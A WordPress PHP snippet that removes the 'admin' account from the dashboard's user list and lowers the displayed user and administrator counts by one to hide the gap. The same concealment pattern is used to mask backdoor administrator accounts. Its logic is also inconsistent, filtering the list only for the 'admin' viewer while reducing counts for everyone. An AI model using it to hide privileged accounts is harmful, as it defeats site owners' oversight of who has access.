add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username == 'admin') {
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'admin'",$user_search->query_where);
  }
}

add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
   $users = count_users();
   $admins_num = $users['avail_roles']['administrator'] - 1;
   $all_num = $users['total_users'] - 1;
   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
   $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
   $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
   return $views;
}